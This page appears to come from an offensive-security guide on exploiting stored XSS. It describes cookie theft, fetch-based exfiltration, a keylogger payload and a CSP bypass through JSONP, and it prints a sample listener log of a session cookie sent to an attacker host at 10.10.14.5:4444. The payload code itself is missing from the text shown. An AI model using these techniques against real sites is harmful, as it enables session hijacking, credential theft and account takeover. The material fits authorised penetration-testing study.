Stored XSS Exploitation
Stored XSS exploitation delivers payloads that execute in the browser of every user who loads the affected page. The highest value targets are admin interfaces that render user-supplied content — a stored XSS that fires for admins enables session hijacking, credential theft, and account takeover without any user interaction beyond normal browsing. Confirm persistence through stored XSS checks before delivering these payloads.
Cookie Theft Payload
The most common stored XSS goal. The payload exfiltrates the victim's session cookie to your listener when they load the page:
When an admin or other user views the page, the request arrives on your listener with their cookie:
GET /steal?c=session=admin_session_abc123;role=admin HTTP/1.1
Host: 10.10.14.5:4444
Use the stolen cookie to authenticate as the victim:
Fetch-Based Exfiltration
When the cookie has HttpOnly set, JavaScript cannot read it directly. Use fetch to make authenticated requests and exfiltrate the response instead:
Keylogger Payload
Capture keystrokes from input fields on pages where the XSS fires. Useful when the target page contains login forms or sensitive data entry:
CSP Bypass via JSONP
When a Content-Security-Policy is present but a trusted domain exposes a JSONP endpoint, use it as a script source to bypass the CSP:
References
-
PortSwigger — Exploiting XSSportswigger.net/web-security/cross-site-scripting/exploiting (opens in new tab)
Cookie theft, credential capture, and CSP bypass techniques
Was this helpful?
Your feedback helps improve this page.